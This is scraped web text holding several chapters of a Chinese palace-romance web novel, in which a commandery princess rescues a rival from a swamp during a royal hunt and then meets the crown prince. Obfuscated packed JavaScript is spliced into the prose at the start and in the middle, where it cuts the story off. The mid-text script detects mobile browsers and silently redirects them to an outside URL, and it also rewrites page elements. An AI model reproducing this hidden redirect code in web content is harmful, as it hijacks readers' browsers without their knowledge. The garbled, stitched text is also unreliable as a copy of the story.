;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一幕实在有些戏剧性,上一刻众人还在热烈恭贺太子和郡主新婚,这一瞬太子的旧爱与新欢并肩坐到了一起。众人表情各自隐晦,一时间谁也没有作声,还是晏然先开口:“你若再不回来,我便要叫人将山头翻过来寻你了。” 苏黎盈喝了口茶,苦笑一声:“哪敢劳烦公主,我在树林里寻到了鹿的踪迹,本想再往深处走一走,可越往里面的路越是湿滑,只得先回来了。” 晏然半是稀奇,半是调侃:“竟还真叫你给寻到了,看来果然是心诚则灵,你就这么想要本公主的貂啊?” 苏黎盈也玩笑道:“哪里,我是担心公主运气太好了,不得不铤而走险。若是公主真把我的马赢走了,我岂非是要走路回北靖?” 众人纷纷笑了起来,气氛逐渐热闹如初,唯有裴旖一个人垂着眼,比方才更沉默了。 上一世她对自己郡主的身份深信不疑,所以从未抗拒过与太子的婚事。并非是她渴望权利荣华,而是在她的认知中,这门婚约是她身为郡主的责任,于理,她不能违逆皇家旨意,于情,她不忍见母亲为难。但这一世到现在,许多事情都已经偏离了原本的方向,而其中偏离得最狠的恰恰是她和晏绥的关系,他们几乎已经互相挑明了怀疑与利用,如何还能若无其事成婚? 再者,晏绥会允许长公主的女儿嫁进东宫吗?长公主又会允许自己的假女儿去做太子妃吗?如今她人在长公主府,尚可勉强在两者间夹缝求存,若是来日她嫁进东宫,到那时她的一切所有包括性命,岂非全部在晏绥的掌控之中? 裴旖越想越觉得消沉。晚膳过后,众人三三两两结伴在附近散步,她独自心事重重坐在湖边,拿草棍戳着地上的土。 隔着一条河岸,两人远远看着她的身影,良久,晏然淡淡开口:“方才在帐外你全都听到了?” 苏黎盈并未对她的敏锐感到惊讶,嗯了声,眼里涌起一层落寞来。 晏然无声看她一眼,颇觉无可奈何。 去年秋天时,母亲曾跟父皇提起过皇兄的婚事。苏黎盈的家世知根知底,父兄在当年晏家争夺天下时有功,如今又为国镇守北靖,更何况她还与太子有青梅竹马的情谊在,皇上与贵妃两人都很认可这个人选,原想着等苏家年前进京时将这门婚事定下来,不曾想冬至那天,长公主府与定北侯府同时传来消息:一个是丢失十八年的郡主有下落了,人在长陵,即刻回京。另一个是临近年关北靖当地部族闹事,恐要延期回京面圣。 淑贵妃拿苏黎盈当半个女儿看待,自是知道她对太子的心思,也心疼她,起初仍想尽力为她争取,直到郡主回京后,相貌、言行全都挑不出错处,性子也比同龄人沉稳,连皇帝都当众夸赞自己这个外甥女稳重大方,淑贵妃也不再好多言,如此,此事便彻底没有回旋的余地了。 苏黎盈勉强笑了一下,低声道:“郡主与太子的婚约是十八年前就定下来的,如今郡主回京是天意,谁都没有办法。更何况……我又何尝不知,殿下待我只是兄妹之情,即使他遵照圣意与我成婚,想来日后我与他最好的结局也只是相敬如宾,永远难以两情相悦。” 晏然抿了抿唇,讲不出安慰的话,因为对方所说的,都是事实。 皇兄的心思一向深沉莫测,她已经是与他走得最亲近的人之一,却也只敢说能猜个三两分。即便如此,她也能确定,皇兄对待苏黎盈,没有任何超出兄妹范围的情谊。 只有真正了解皇兄的人才知道,他的喜恶隐藏得深,偏执也藏得很深,若是他真正喜欢的东西,他会不顾一切不择手段占有,留在自己身边。但对于这门还未来得及昭告天下就意外夭折的婚事他却毫无所动,显而易见,他不喜欢。 苏黎盈打起精神笑了下,自嘲道:“其实我也应该感谢郡主,幸好她回来得及时,若是她再晚一些才回来,这门婚事就会先昭告天下再宣布废除,那时的我岂不是更加难堪?” 晏然余光瞟着河对岸的人起身走进营帐,想起方才席间她被众人恭贺时的神情,不禁感慨造化弄人。 与同一个男人的婚事,有人黯然伤神,有人避之不及。谁都没有错,命运阴差阳错罢了。 她收起视线,看向身旁的人:“夜凉了,回去吧。” 苏黎盈点了点头。 两人沿着河岸慢步走着,聊起了儿时在北靖的趣事,苏黎盈的心情逐渐轻快,话也多了起来,她们有说有笑走到营帐附近时,身后突然传来一声马嘶,在寂静夜色下显得格外刺耳。 两人同时回过头,一匹棕色的马反常地喘着粗气,似是受了惊,一面尖锐地嘶吼着,一面挣开缰绳冲破围栏,咆哮向着两人猛冲过来—— 23. 第 23 章 营帐中,宋知序在灯下核对着今日的支出,宋之昂神神秘秘凑到他跟前儿,罕见扭捏开口:“大哥,你觉得郡主怎么样?” 宋知序眼盯着账簿,随口问:“什么怎么样?” 宋之昂瘪了瘪嘴,手指揪着他身后毯子上的毛绒,心想,大哥的婚事让父亲和母亲操碎了心,若是他成婚后有个嫂子去管管他,那他也能少来管自己。 宋知序等了半晌不见下文,迟钝反应过来他的意思,握着笔的手一顿,荒谬到一时不知从哪里开骂,忍着火气道:“郡主已经定婚了!” “啊?可郡主不是才回京不久?” 宋之昂惊讶不已,颇觉可惜,而后嫌弃看了眼自己的长兄,方才的扭捏一扫而光,阴阳怪气道,“大哥莫要将大好时光全都浪费在我身上,也要多花些精力关注自己的终生大事。这样好的姑娘从天而降大哥都把握不住,被旁人捷足先登,做弟弟的我也是真的很为大哥忧心。” 宋知序被他气笑:“你可知与她定下婚约的人是谁?” 小公子扬了扬下巴,一脸不屑:“谁?” 宋知序揉了揉眉心,很不想搭理他这个脑子缺根筋的胞弟,但又担心他会去外人面前乱说,压着声音不耐沉声道:“东宫!太子!” 宋之昂惊讶瞪圆了眼,而后贱兮兮感慨道:“那是弟弟错怪大哥了,此事怨不得大哥,实在是对手太过强大。” 宋知序忍无可忍,将手里的账簿甩了过去,小公子敏捷闪身躲开,嘿嘿笑了两声,起身跑出营帐。 他哭笑不得摇头,弯身捡起账簿时,忽然听见外面砰一声巨响,随后马匹奔腾的嘶鸣声与少年的惊恐尖叫同时响起,他脸色蓦然一变,猛地站起了身。 隔着两个营帐,裴旖正在桌前看书,听到外面的嘈杂声,抬眸问青霜:“什么声音?” 青霜快步走出去探头看了看,诧异回头道:“好像是有匹马受惊了,冲出马圈踏伤了人!” 这种事非同小可,弄不好要出人命。裴旖听言放下手里的书,与她同帐的是正是邓芸,也站起身,一脸担忧道:“咱们出去看看吧!” 外面的人声越来越高,听起来马似乎已经被控制住了。裴旖点了点头,各自的婢女给两人披上披风,她们快步走出营帐,只见众人围成了一圈,一匹棕色大马倒在血泊里奄奄一息喘着粗气,镇南侯家的小公子吓得嚎啕大哭,嘴里含糊不清喊着“大哥”,苏黎盈被婢女扶着,脸色恐惧发白,镇南侯世子阖着眼躺在地上,唇角渗出了血,胸前的起伏也很微弱,晏然单膝跪在他身旁,面目严峻焦灼:“医官!医官在哪里?!” 两名中年男人提着药箱快步穿进人群,众人自觉闪到两侧,同时一名侍卫匆匆来报:“禀公主,属下在马圈中发现了蛇的踪迹,应该正是此马受惊的原因!” 语毕,他走上前查看马的状况,果然在其后腿上发现了被蛇咬过的伤口。 裴旖看向晏然,见她脸色沉冷,一言不发,大概也能想象出她此刻的心情。山中出现蛇,原本是再正常不过的一件事,只是凡事与皇家权力牵扯到一起后,就令人很难不去疑心是人为。 人群中出奇的安静,谁也没有说话。片晌之后,晏然看了眼自己的贴身婢女,对方会意,走过来请众人先回各自的营帐休息。 裴旖和邓芸一前一后回到营帐,脱掉披风坐下来时,她眼前又浮现出方才宋知序气若游丝的模样,想到他本就身患病疾,这一下可谓是雪上加霜,不免有些替他担心。 邓芸与她一左一右坐下,婢女为二人端来热茶。裴旖拿起杯盖,看着缓缓升腾起来的热气,问身旁人:“邓姑娘可知,世子患的是什么病症?” 对方摇摇头:“具体不知。他这病说来也怪,不能习武,不能受惊,也不能太过操劳,否则就会病发,但不发病的时候看起来又跟寻常人无异。” 裴旖又问:“他病发时是什么症状?” 邓芸面露难色:“这个我没有亲眼看见过,听说是浑身无力出冷汗,脸色白得厉害,严重时候还会晕厥……大概就是这些。” 裴旖若有所思点了点头,半晌没有再言语。 两人都待在一起一晚上了,好不容易踩打开话匣子,邓芸接着这个话题道:“当年世子第一次病发时才两岁,是被除夕的鞭炮声给吓到的。刚开始他家里人还以为是受了惊,可是过了半天也不见好,镇南侯爱子心切,进宫请了太医来看,才知他这是娘胎里带的隐疾。这些年镇南侯府请遍了各路名医也没有看出个名堂,还有和尚、道士、巫师,能试过的全都试过了,世子如今都已行过冠礼了,依旧是老样子。” 裴旖不解:“那他为何……” 她迟疑着没有继续说下去。 镇南侯家是武职,按道理说长子不能习武又身患病疾,爵位理应传到次子头上才是,怎会传给了宋知序呢? 邓芸心知她的疑惑,淡笑了下,模棱两可道:“次子顽劣,幼子年幼,便只能由长子来承担了。” 裴旖听出她言辞隐晦,想来是不方便细说他人家事,便没有继续追问:“可惜今日之事偏偏是被世子赶上了,若是换作别的公子,或许情况还不至于糟糕至此。” 对方感慨道:“是啊,方才世子看起来伤得不轻,若是他原本的病疾因此加重的话,那镇南候府恐怕要翻天覆地了。” …… 隔天早上,天朗气清,但众人间的气氛难免压抑。 早膳时公主身边的人传话过来,说昨夜世子和小公子已经被送回京城,世子暂无大碍,今日一切照旧。 裴旖暗忖着,昨晚之事到底是意外还是人为尚且没有定论,倘若真是人为,那敌人在暗,他们在明,世子的真实情况必然是不能透露的,他们一群人若是匆匆下山回京更引人瞩目,因此一切照旧,似乎是眼下所能做出的最好选择。 众人陆续离开营帐进山后,裴旖独自在营帐附近又练习了半天骑马。这匹马当真极通人性,仿佛也知晓她是初学者一般,对待她很是温顺贴心。裴旖对它也爱不释手,亲手给它喂足了草料,与它商量:“多吃点,今日全靠你了。” 小白马似是听懂了一般,低下头埋在她手心上蹭了蹭,她被痒得缩起手掌,忍不住轻轻笑了起来。 短暂午休后,裴旖换了套衣服准备出发。青霜一边给她梳着头发,一边有些担忧问:“郡主,您才学会骑马,就要一个人去这么远吗?” 裴旖漫不经心道:“无妨,我问过侍卫,从营地过去一路都很平坦,我走慢一些就是了。” 青霜还是不认同:“那您好歹也叫几个侍卫跟着您呀。” 裴旖淡淡扯了下唇,心道,叫几个侍卫跟在后面,那赏花还有什么趣。 再说了,也不是没有人跟着她。 她起身整理好衣服,回眸看一眼青霜,忍不住笑了,抬手轻戳了下对方的脸颊,揶揄道:“你莫要整日为我愁眉不展,叫旁人看了,还以为我是从哪里偷来的丫鬟,这么不情愿待在我身边。” 青霜被她说笑,揉着自己的脸小声嘟囔:“郡主又取笑奴婢。” 向侍卫问清楚了路线后,裴旖骑着马离开了营地。 她的速度不快,但很稳,第一次在山中骑马的感觉甚觉新鲜有趣,她一路走走停停,还采到了几种从未见过的药草,她小心翼翼将它们装起来,心情甚佳,直至临近梨花林时,头顶突然传来声音:“郡主!” 她闻声勒住马,仰起脸循着声音望过去。 阿卯蹲靠在树上,提醒道:“郡主莫要再往前走了,此处土质特殊,前两日又下了暴雨,前方恐有沼泽之地。” 裴旖闻言微怔,阿卯的话她自然相信,可是她练习了两日骑马,好不容易才走到这里,梨花林近在咫尺,若是现在打道回府也未免太可惜了,想了想,她问道:“还有其他的路吗?远一点也无妨。” 阿卯足尖轻点,纵身跃上更高的一棵树,环顾半晌,最后道:“郡主跟我来!” 裴旖抓紧缰绳调转方向跟上了阿卯,两人一前一后在密林中穿梭。阿卯的速度很快,裴旖夹紧了马腹才尽力跟上她,转过几个弯之后,树林的尽头就在眼前,阿卯停下来,等她走近后道:“郡主一直向前走,出了树林后左转,便能看见了。” 裴旖从未骑得这般快过,脸色些微泛白,点头应了声好,正要驭马继续往前时,余光忽然瞟见路旁的树枝上挂着一条手串,与上京所时行的淡雅风格很是不同,由五颜六色形状夸张不一的珠子串成,在一片深绿中格外显眼,这般再鲜明不过的北地风格,手串的主人是谁,不言而喻。 她短暂迟疑,弯身将其捡了起来,只见手串上的每一颗珠子都不尽相同,各有特色,其中有一颗是用黑玛瑙雕成的镂空八瓣莲花,形状十分独特,却又莫名眼熟,仿佛曾在哪里见过。 裴旖若有所思合拢掌心,一时没想起来,便放弃了。 她瞟了眼地上,她的马体型小,脚印也小,在对方马匹留下的脚印旁显得过分娇小可爱了。她忍俊不禁,爱惜摸了摸自己的小马,垂眸收起手串,再抬起头时,唇边的笑意忽然缓缓凝了起来。 她再次低下头,定神向地上望过去。有树木的遮挡,前几日的雨水仍困在泥土里,地上的马蹄印十分清晰,可数目却不是两道,而是三道。 其中一道足印偏小的是她的马,另外两道明显是同一匹马的一来一回,而且往回走的那串脚印明显比去时的更浅,也更凌乱。 裴旖微微凝眉,隐约觉得怪异。 倘若马蹄的深浅不一是因为负重了猎物,那也应该是回来时的脚印更深才对,可眼前这道回途的脚印不仅更浅,还乱得厉害,仿佛是突然间脱离了主人与缰绳控制的野马—— 裴旖的眸光随着这个念头一振,心里浮现出一个可怕的猜想:马的主人可能遇到危险被困在了某处,马通人性,在尝试营救主人失败后,原路返回营地报信去了。 这个想法一出来,她不敢再耽搁,抬头叫下来阿卯,与她说了自己的猜测。 阿卯从树上跳下来仔细观察过地上的痕迹后,冷静道:“属下与郡主想的一样,而且看这足印的硬度,这匹马应该才离开不久。” 裴旖点头:“我们去看看。” 两人沿着路上的痕迹再次深入林中,约莫又走了一刻钟后,头顶再次响起声音:“郡主,前面不要再骑马了。” 裴旖翻身下马,将缰绳拴在了树上,嘱咐小白马不要乱动,待会儿就回来接它。 阿卯从树上跳下来,带着裴旖走了一条相对安全的路。裴旖明显感觉到自己的脚下危机四伏,每一步的深浅都无法预料,而越往树林深处的马蹄印越是难以辨认,地上也七零八落散着沾了血的断枝。 两人谨慎放慢脚步,缓缓前行,在穿过一排灌丛后,终于见到了人影。 裴旖暗暗屏息,做足了心理准备才抬起脸。 眼前的景象并不血腥,但还是令她惊诧失声:“苏姑娘!” * 山林中难见这样一片柔软的空地,仿佛被灌丛圈起来的天然陷阱。 泥沼已经没过了苏黎盈的肋骨,她的面颊毫无血色,嘴唇也白得发青,神情因为过度的恐惧而显得呆滞。听到有人叫自己,她失焦的黑眸中亮起希望,但在看清楚来人只有裴旖与一个女侍卫后,那簇光亮又骤然幻灭下去,有气无力哑声道:“郡主小心脚下,莫要再往前了。” 情况比裴旖想象得还要棘手。她凝神环顾四周,镇定大声命令:“你现在身体向后躺倒!尽量平躺下来!” 苏黎盈没有动,一副茫然不解的模样。裴旖又重复了一遍,而后扭头问阿卯:“你身上有没有绳子?” 阿卯摇头,忖度着反问:“树枝可行?” 裴旖顿了顿:“也可以,要结实些的。” 阿卯应了声好,转身迅速点地离开。裴旖回过头,见沼泽里的人还是没有动作,有些急切道:“苏姑娘,我不会害你,你……你不信任我没有关系,方才那个姑娘是东宫的暗卫,你若不相信我也总该信她,你莫要拿自己的性命玩笑!” 听到东宫两个字,苏黎盈的眸底闪过一抹黯淡。随后她苦涩扯了下唇,慢慢摇了摇头:“不是……” 她虽不信任郡主,但也还不至于认为对方会落井下石害她,她并不是不信对方的话,而是她自己现在不敢再尝试任何自救的举动。 起初她陷进来的时候,泥沼只到她的膝盖,她越是用力挣脱身体就陷得越快,很快她不敢动了,也没有力气再动了,可是下沉的速度只是变慢了,并没有停止,她能清晰感觉到自己在缓慢下坠却无能为力,这种清醒等死的感觉实在是太令人绝望了。 裴旖没有听清她的话,更不知道她的心里所想,待阿卯回来后,她先是对着对方肩上扛着的一棵和她腰差不多粗比她还高的树愣了愣,回过神儿来后问:“你们东宫的暗卫可有令牌?拿出来给苏姑娘看一眼!” 阿卯放下树:“没有诶。” 裴旖一面帮着她把树架进泥沼里,一面问:“那你们还有什么别的能证明身份的东西?” 阿卯歪头:“有个纹身。” “那你——” 裴旖差点脱口而出叫她脱下来给苏黎盈看,话说到一半反应过来,“纹在哪里?” 阿卯挺了挺胸,一脸无辜:“郡主想看?” 裴旖一阵语塞,一面暗诽东宫这些人都是什么奇葩癖好,一面无奈心道,算了,尽人事听天命吧。 那边苏黎盈身体仍旧绷得僵直,但总算没有再抗拒她们的营救,抬手颤抖抱住了树干。 裴旖看向阿卯,期待问:“你连树都能连根拔起来,人也一定不在话下吧?” “难说。” 阿卯示意她往边儿上站。裴旖真心实意发问:“我能做些什么?” 她虽然不会武功,但好歹也算个人头,至少也能助上一臂之力。但阿卯上下看一眼她,真心实意提议:“郡主可以在一旁祈福。” 裴旖:“…………” 她默默退开一步,紧张盯着阿卯动作,只见对方双腿微屈,手臂逐渐运力。泥沼中的人陷得实在太深,两人一树胶着了半晌,树那头的身影刚有一点要出来的迹象,忽然“咔”一声响,苏黎盈握在树上的双手脱力,撞断了横出来的树枝。 阿卯皱着眉站直,脸颊因为用力而微微泛粉,呼了口气低声道:“她陷得太深了,而且她之前急于挣脱,耗费了很多体力,现在根本没力气了。” 裴旖咬唇沉吟片刻,忽然没头没尾问:“这棵树能做桥吗?” 阿卯一怔:“郡主难道是想——” 她点头道:“如果这棵树能搭到她身后的岸上,我可以走到她身边,将她的手臂捆在树上。” 阿卯严肃拒绝:“属下觉得不妥,郡主不会轻功,万一一脚踩偏,处境也会与她一样危险。” 裴旖沉眸看着地上那棵不粗不细的树,抬脚在上面踏了两下,认真道:“这棵树的承重应该没有问题,我以前在长陵采药时比这更窄的桥都走过,而且退一步讲,就算是我不小心掉进去了,我至少也能自救,不会像她陷得这么深。人命关天,且试试吧!” 对方仍觉得不妥:“郡主若是执意要这样,那还是我去罢。” 裴旖摇摇头,语气平静而坚决:“是我想救人,你何必担上风险。再者我没有你的力气,留在岸上也无法稳住树干,倘若你走在上面出了什么状况的话更危险。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15037056|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 阿卯依旧坚持:“稳妥起见,还是属下回营地叫公主派更多的人来。” 裴旖叹气道:“没有时间等他们来了,她陷在里面越久越危险,再耽误下去可能会保不住腿。时间紧迫,按我说的去做。” 阿卯眼里短暂闪过迟疑,而后终于应了声是。 她按照裴旖的意思,将树干搭好后,蹲在地上朝她微微点了下头。 裴旖默默深吸口气,压住心里的紧张,小心踏上了树干。 其实总共十步不到的距离,可真正走起来时却无比漫长。她颤颤挪动脚步,谨慎保持着身体平衡,有惊无险到达苏黎盈身旁后,她迅速扯下腰间的玉带,稳稳蹲下身伸出手,示意对方将手递给她。 苏黎盈迟疑片瞬,终是搭上了她的手,同时低声喃喃问:“你为何要如此?” 裴旖既要维持脚下的平衡,又要能保证将她的手臂牢牢捆在树干上,眼睛都没时间眨,一时无暇回她的话。 苏黎盈看着她的侧脸,见她神色认真凝重,鼻尖微微沁出了汗。静默片刻,她又问:“因为太子?” 裴旖沉默系上最后一扣,用力紧了紧这个结,确保万无一失后,才抬起脸,轻描淡写道:“因为方才你提醒我,不要再往前走。” 苏黎盈听言怔了瞬,而后阖上眼,有气无力笑了出来。 裴旖瞟一眼她的手,只见她掌心上布满了深浅不一的血痕,指甲里也渗出了血和泥水混杂在一起,不难想象在她们来到这里之前,她已经独自挣扎了多久。 不敢再耽误时间,裴旖嘱咐道:“你尽力抓紧,我们只有这一次机会。” 苏黎盈应了声好,神色看起来比方才清明镇静了些。裴旖原路回到岸上,阿卯在岸上伸出手接了她一把,看那松一口气的神情像是比她还要紧张。 落地后裴旖轻拍了拍阿卯的背示意自己无碍。阿卯再次运力,有了方才的准备与被营救之人的配合,这一次要顺利许多,裴旖眼看着对方的身体缓慢从泥沼中被一寸一寸拖了出来,先是肋骨,而后是腰,再到大腿。 阿卯眉头微蹙,嘴唇紧紧抿着,脖子上的青筋越来越明显。裴旖定定盯着树的另一头,紧张得喉咙发干。 一切都在预料之中进行,所有人的注意力都集中在树干前端的那一点上,无人留意到,泥沼旁的一棵老树枝叶繁茂延伸,将泥潭覆住了大半,其中一支树枝上,一条黑绿纹路的蛇吐着信子,静悄悄探下了身。 泥潭中的人终于露出了膝盖,苏黎盈上半身伏在泥浆之上,用尽最后的气力抱住了树干。 裴旖心知已经十拿九稳,刚要松一口气,漆黑瞳孔骤然缩紧,不待她出声提醒,那条蛇发出“嘶”的一声,冲着泥潭中的人扑了过来。 阿卯沉沉道了声“不好”,只听一声嘶哑的尖叫同时响起,苏黎盈在惊恐中松开了手,身体循着求生的本能向一旁闪开,再次重重跌进了泥浆里。 那条蛇扑了个空,凭借着身型的优势在沼泽上如履平地,再次跃跃欲试向她滑了过去。她一条手臂再次陷进泥沼中来不及抽出,另一条因为跟树干绑在一起尚且还在外面,却也早已无力反击。 她绝望闭上了眼,心中已经放弃自己,耳边忽然“嗖”一声响,三支黑色短箭同时不偏不倚穿透蛇身将那条蛇钉进了泥潭里,同时岸上的人猛地发力拉动树干,大喝一声:“起来!抓住!” 接连死里逃生,苏黎盈的体力已经彻底耗尽。她虚虚反握住树枝,手上一点力气也使不出来了,幸而方才裴旖所系的那个结相当牢固,就靠着这个结,阿卯竟硬生生拖着她的胳膊将人拽离了泥潭。 苏黎盈被这力道带得身体一振,肩膀脱臼般的剧痛催使她迸发出最后的力量,她咬紧牙手脚并用爬起来,裴旖跪在地上伸长了手臂,第一时间握住她的手腕,与阿卯合力将人拖上了岸。 ……终于。 裴旖脑海中幽幽闪过这两个字,松开苏黎盈的胳膊,长长舒了口气。 阿卯蹲在一旁研究着苏黎盈手上的结,十分好奇勤学:“这个结郡主是怎么打的?为何竟这般牢固?” 裴旖跪起身解开结,不欲在此刻多说:“回头教你。” 苏黎盈躺在地上喘着气,眼看着树叶缝隙后的蓝天,劫后余生的心情太过汹涌强烈。她面色恍惚怔了许久,神智稍微平复,转头看向身旁的身影,轻轻道了声:“多谢。” 裴旖笑了下道:“谢阿卯吧,都是她的功劳。” 阿卯揉着自己的手臂,恢复了平常那副笑吟吟的模样:“属下都是听吩咐做事,郡主莫要替我揽功。” 裴旖听言笑了笑,想玩笑说自己回头去跟太子说一声,让他褒奖她,但话到嘴边又担心苏黎盈听了会多心,最后只道:“今日幸亏有你,等回去后我再谢你。” “那属下可就不客气了。” 阿卯大大方方笑着应承下来,而后忽然顿住表情,似是在侧耳辨别什么声音,少顷之后,她道,“郡主,有人来了,是自己人。” 裴旖点点头,阿卯起身跃上了树,一眨眼没影儿了。 她将脏了的腰带勉强系回身上,而苏黎盈的状况实在太过狼狈,鞋袜早就在挣扎时蹭掉了,衣服在泥浆中浸得湿透,头发更是黏糊糊粘在一起,若是这副模样被众人看到太难堪了。 裴旖搀着她靠在一棵树后,正想去向来人讨一件披风时,只见为首的一人快步向着她们奔来,将其他人远远甩在身后。 “阿盈!!” 听见熟悉的声音,苏黎盈的泪水倏地涌了出来,她拭了拭眼角回过头,来人已经快步奔至她面前,她看到他的脸,再也控制不住,扑进他怀中委屈大哭出来:“哥哥……” 苏青琰只看一眼便知她方才都经历了什么,迅速解下披风将她整个人包裹在里面,心疼抚着她的背,不住低声安抚:“阿盈不怕,没事了……哥哥来迟了……” 裴旖退至另一棵树后,给两人留出空间。 她无声望着面前兄妹情深的画面,心不在焉想,她都差点忘了,她也有哥哥呢。 她的哥哥也曾在她浑身湿透最为狼狈的时候出现在她面前,只不过他给她送来的不是披风,而是毒酒。 裴旖自嘲牵了下唇,别开眼,隐去了眸底的羡慕与冷意。 后面的十来人陆续赶了过来,全都围着苏家兄妹关切询问。裴旖独自站在树影下,昏暗交接的光线将众人分成泾渭分明的两个阵营,线的那边是互相熟识的世家贵族,每一个人的背后都有强大的家族为后盾,而线的这一边,是被动卷进权力斗争的棋子,势单力薄,孤立无援。 她与他们岂止不是同一类人,在他们面前,在他们这些人的利益面前,她甚至都算不上人。 裴旖远远看着他们,忽然不太想见人。她不想到人前去替受害人讲述方才发生了什么事,更不想以营救者的身份受人感谢,或是被捎带着嘘寒问暖。 她靠着树干慢慢蹲了下去,身后沸沸扬扬吵了许久,期间似乎有人询问了句郡主在哪里,但无人应答,更无人来寻她。 后来那些声音渐行渐远,树林中恢复了平静。裴旖想站起身,却因为蹲得太久而有些晕眩,她闭上眼缓了半晌,眼前的光线忽地一暗,她心道不妙,暗悔自己今天出门前吃得太少,竟然这么快就撑不住了。 她低下头深深呼吸,又等了片刻还是不见好转,耐不住性子睁开眼,入目的却是男人下蹲的膝盖和胳膊上的玄色护臂,那只搭在膝上的大掌骨节分明,看起来有些熟悉。 裴旖愣了数秒,惊讶抬起脸。 夕阳穿过树林的缝隙,宛如一层流动的金纱,她看不清楚面前人的表情,恍惚间似梦非梦。 “……殿下?” 24. 第 24 章 晏绥无声凝视她片晌,抬手摘掉了她头发里的一棵草叶。 他的大掌覆过来时,裴旖下意识闭了闭眼,而后才慢半拍意识到这样的举动太过亲密,本能想要后仰躲开,被他淡淡斥了声:“别动。” 她也不懂自己的身体为何在听到他的指令时莫名其妙停住,他摘掉那片草叶后,不咸不淡奚落:“头晕是因为你蹲太久了,撞树可治不了。” 原本两人间还隐约有几分暧昧的氛围因为他的毒舌瞬间消散,裴旖面色微窘,正要反唇相讥,忽然顿住想到,他来了有多久了? 她方才的消沉低落,也全都被他看到了? 面前的人似是会读心一般,看一眼她的脸,不咸不淡开腔:“救人是善事,怎么还一个人躲起来了?” 裴旖眼睫微垂,不答反问:“殿下怎么来了?” 话一出口,她自己都觉得问得多余。他还是能是为何而来?可惜她夺了他英雄救美的机会,若是早知他今日上山,她务必将这个机会留给他。 但面前人所理解的似乎与她所问的不是同一个问题:“昨日没时间,所以今日过来。” 裴旖听言寡淡扯了下唇。这个答案对于她来说也没有差别,反正无论他是来给妹妹捧场还是来给青梅救场,都与她无关。 她站起身,面前人也跟着她站起来。他的视线一直落在她额前,令她有些不自在,别开眼道:“想来殿下还要趁着天色尚明前去狩猎,臣女不通骑射,就先回去了。” 语毕,她向他行一礼后转身要走,身旁人忽然问:“你看到梨花了吗?” 裴旖一怔,脚步缓缓停住:“还没有。” 他语气莫测道:“今夜有雨,你此刻不去看的话,可能就要等到明年了。” 裴旖听着他的话,有一瞬恍惚。 明年? 明年的这个时候,她或许已经不在京城了吧? 她轻笑一声道:“那便是无缘了。” 晏绥无声上下看一眼她,目光在她腰间的玉带上略微停留。 裴旖有些尴尬,侧身避开他的视线,听见他又开口:“你骑孤的马。” 裴旖错愕抬眸看他,他面色淡然说明:“你的马方才挣脱了缰绳,被他们牵回去了。” 她往来时的方向茫然看了一眼,凭她自己的脚力走回去天都得黑透了,可若是她骑了他的马,他骑什么? 难不成……他要与她共骑一匹马? 晏绥清清楚楚瞟见她黑眸里的嫌弃和抗拒,不用想也知道她脑袋里装了些什么东西,忽然起了逗她的心思,一本正经道:“郡主无需多虑,孤的马是战马,承担两人的重量完全不成问题。” 裴旖没想到这也被他看了出来,脸颊蓦然一热,身旁的人已经大步跨出。 她跟在他身后心事重重走到马前,只见他的马比苏黎盈那匹还要高大些许,一身乌黑毛发,眼神明亮有神。他问她:“能自己上去?” 裴旖犹豫点了点头,左手抓住缰绳,马的身型与她的身长很不匹配,她上马的动作明显有些吃力,但尽管姿势不太优雅,好歹最终是爬上去了。 她轻舒口气,调整好坐姿,握紧缰绳,与马下的人道别:“多谢殿下。” 语毕像是生怕他会强行上马似的,她迅速夹紧腿驾着马跑了。 晏绥完全没料到她会使这么一出,望着她的背影愣了数秒,被她气得笑了出来。 那边裴旖走远之后,悄悄回头看见他还站在原地,她不敢松懈,用尽毕生所学加快了速度,眼见着就要离开这片树林时,身后突然远远传来一声哨音。 裴旖心里一惊,暗骂自己怎么忘了这茬儿,身下的马听见哨声后迅速刹住脚步掉头拼命往回跑,任凭她怎么慌张拉紧缰绳呵斥都不停下。 她到底经验不足,完全不知道该怎么处理这种状况,只能勉强保证自己不被摔下去,在马背上被颠得东倒西歪,不得已趴在马上,恨恨训斥:“你是马,不是狗!他吹声口哨你就回去了?你真是丢天下群马的脸!” 黑马才无暇理会她,一心想到主人面前邀功,跑得更快了。 裴旖咬了咬牙,心中暗暗做好了赴死的准备。马终于停下来时,她也被颠得快吐出来,地上的人负手等着她,气定神闲质问:“孤让你走了?” 裴旖慢吞吞从马背上爬了起来,她心里很虚,但表面的气势不能输,镇定装傻问:“殿下还有吩咐?” 晏绥玩味看着她的脸,原本他是想叫阿卯送她回去,但是现在,他突然改主意了。 他拉过缰绳,慢条斯理道:“这匹马性子过烈,恐会伤了郡主,还是由孤来牵着比较稳妥。” 裴旖神色警惕,她是绝对不相信面前人会有这样的好心,估计他十有八九是又想到了什么坑她的把戏。但他说完这句话之后又真的没有再为难她,而是牵着缰绳走在一旁,仿佛真要这样与她走下山似的。 裴旖猜不透他的心思,索性放弃了。她自暴自弃想,左右今日人多,当着众人的面,他又能将她怎么样? 可走了半晌后,她又迟钝觉出不对,眼前的路好像不是回营地的路,而是去往梨花林的路。 意识了这一点后,裴旖更觉惊恐,晏绥这种人怎么可能会在被她偷马未遂后还大发善心带她去赏花?莫非他是要将她丢下悬崖,或者活埋到梨花树下? 她越想背后越凉,盯着他的侧脸看了片刻,忐忑试探开口:“殿下。” 身前的人没有回头:“嗯?” 她生硬铺垫:“天色不早了。” 他漫不经心反问:“所以?” 裴旖硬着头皮邀请:“殿下上马吧,我们早些回营地。” 他淡淡讥诮:“郡主莫要痴心妄想。” 裴旖:“…………” 她忍了忍,直白道,“臣女现在不想看梨花了。” 晏绥回过头,上下瞟她一眼,似在审视她的自作多情:“孤想看。” 裴旖:“…………” 她被他噎得无话可说,一脸死气认命坐在马上,直到出了树林后,他停住脚步,叫她:“下来。前面的路骑不了马,要走下去。” 